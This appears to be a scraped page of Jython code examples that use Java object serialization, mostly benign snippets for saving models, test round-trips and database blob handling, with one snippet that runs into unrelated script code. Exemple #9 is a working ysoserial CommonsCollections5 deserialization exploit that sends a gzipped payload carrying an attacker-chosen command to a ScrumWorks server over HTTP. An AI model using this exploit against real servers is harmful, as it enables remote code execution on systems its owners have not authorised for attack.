def run(self):
     while 1:
         print "Writing out channels", Date()
         ostream = FileOutputStream(self.filename)
         p = ObjectOutputStream(ostream)
         p.writeObject(self.registry.getChannelGroup("Default"))
         p.flush()
         ostream.close()
         self.sleep(self.delay)
Exemple #2
0
    def test_serialization(self):
        s = set(range(5, 10))
        output = ByteArrayOutputStream()
        serializer = ObjectOutputStream(output)
        serializer.writeObject(s)
        serializer.close()

        input = ByteArrayInputStream(output.toByteArray())
        unserializer = ObjectInputStream(input)
        self.assertEqual(s, unserializer.readObject())
Exemple #3
0
def serialize(o, special=False):
    b = ByteArrayOutputStream()
    objs = ObjectOutputStream(b)
    objs.writeObject(o)
    if not special:
        OIS = ObjectInputStream
    else:
        OIS = PythonObjectInputStream
    objs = OIS(ByteArrayInputStream(b.toByteArray()))
    return objs.readObject()
Exemple #4
0
    def __blob(self, obj=0):
        assert self.has_table("blobtable"), "no blob table"
        tabname, sql = self.table("blobtable")
        fn = tempfile.mktemp()
        fp = None

        c = self.cursor()
        try:

            hello = ("hello", ) * 1024

            c.execute(sql)
            self.db.commit()

            from java.io import FileOutputStream, FileInputStream, ObjectOutputStream, ObjectInputStream, ByteArrayInputStream

            fp = FileOutputStream(fn)
            oos = ObjectOutputStream(fp)
            oos.writeObject(hello)
            fp.close()

            fp = FileInputStream(fn)
            blob = ObjectInputStream(fp)
            value = blob.readObject()
            fp.close()
            assert hello == value, "unable to serialize properly"

            if obj == 1:
                fp = open(fn, "rb")
            else:
                fp = FileInputStream(fn)

            c.execute("insert into %s (a, b) values (?, ?)" % (tabname),
                      [(0, fp)], {1: zxJDBC.BLOB})
            self.db.commit()

            c.execute("select * from %s" % (tabname))
            f = c.fetchall()
            bytes = f[0][1]
            blob = ObjectInputStream(ByteArrayInputStream(bytes)).readObject()

            assert hello == blob, "blobs are not equal"

        finally:
            c.execute("drop table %s" % (tabname))
            c.close()
            self.db.commit()
            if os.path.exists(fn):
                if fp:
                    fp.close()
                os.remove(fn)
Exemple #5
0
def serialize(obj, filepath):
  if not Serializable.isAssignableFrom(obj.getClass()):
    syncPrintQ("Object doesn't implement Serializable: " + str(obj))
    return False
  f = None
  o = None
  try:
    f = FileOutputStream(filepath)
    o = ObjectOutputStream(f)
    o.writeObject(obj)
    o.flush()
    f.getFD().sync() # ensure file is written to disk
    return True
  except:
    syncPrintQ(sys.exc_info())
  finally:
    if o:
      o.close()
    if f:
      f.close()
    parser.error("Must provide pomdp filename")

# figure out representation
flat_rep = fnmatch(options.filename, '*.POMDP')
rep = FileParser.PARSE_CASSANDRA_POMDP if flat_rep else \
    FileParser.PARSE_SPUDD

# load problem
pomdp = FileParser.loadPomdp(options.filename, rep)

# lower bound
bp_calc = BpviStd(pomdp) if flat_rep else BpviAdd(pomdp)
lbound = bp_calc.getValueFunction()

# upper bound
qp_calc = QmdpStd(pomdp) if flat_rep else QmdpAdd(pomdp)
ubound = qp_calc.getValueFunction()

# serialize
usuffix = '.QMDP_STD.ser' if flat_rep else '.QMDP_ADD.ser'
ufos = FileOutputStream( basename(options.filename) + usuffix )
uout = ObjectOutputStream(ufos)
uout.writeObject(ubound)
uout.close()

lsuffix = '.BLIND_STD.ser' if flat_rep else '.BLIND_ADD.ser'
lfos = FileOutputStream( basename(options.filename) + lsuffix )
lout = ObjectOutputStream(lfos)
lout.writeObject(lbound)
lout.close()
def saveObjToFile(object, folderLocation, nameOfFile):
    objOutStream = ObjectOutputStream(
        FileOutputStream(folderLocation + nameOfFile))
    objOutStream.writeObject(object)
Exemple #8
0
def saveModel(crf, file):
    s=ObjectOutputStream(FileOutputStream(file))
    s.writeObject(crf);
    s.close();
Exemple #9
0
payloadName = "CommonsCollections5"
payloadClass = ObjectPayload.Utils.getPayloadClass(payloadName);

if payloadClass is None:
  print("Can't load ysoserial payload class")
  exit(2);

# serialize payload
payload = payloadClass.newInstance()
exploitObject = payload.getObject(sys.argv[3])

# create streams
byteStream = ByteArrayOutputStream()
zipStream = GZIPOutputStream(byteStream)
objectStream = ObjectOutputStream(zipStream) 
objectStream.writeObject(exploitObject)

# close streams
objectStream.flush()
objectStream.close()
zipStream.close()
byteStream.close()

# http request
print "sending serialized command"
conn = httplib.HTTPConnection(sys.argv[1] + ":" + sys.argv[2])
conn.request("POST", "/scrumworks/UFC-poc-", byteStream.toByteArray())
response = conn.getresponse()
conn.close()
print "done"
Exemple #10
0
def saveInstanceList(instances, fname):
    s = ObjectOutputStream(FileOutputStream(fname))
    s.writeObject(instances)
    s.close()